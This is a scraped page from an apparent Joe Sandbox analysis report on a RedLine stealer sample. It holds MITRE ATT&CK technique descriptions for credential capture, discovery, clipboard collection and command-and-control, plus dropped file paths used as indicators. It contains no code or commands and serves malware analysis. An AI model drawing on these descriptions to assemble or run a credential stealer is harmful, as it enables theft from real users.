Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js

C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif

C:\Users\user\AppData\Local\EduTech Dynamics\L

C:\Users\user\AppData\Local\Temp\723582\Flash.pif

C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe

C:\Users\user\AppData\Local\Temp\723582\r

C:\Users\user\AppData\Local\Temp\Agreed

C:\Users\user\AppData\Local\Temp\Anchor

C:\Users\user\AppData\Local\Temp\Arrangements

C:\Users\user\AppData\Local\Temp\Barrel

C:\Users\user\AppData\Local\Temp\Binding

C:\Users\user\AppData\Local\Temp\Bonus

C:\Users\user\AppData\Local\Temp\Canal

Windows Analysis Report
f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre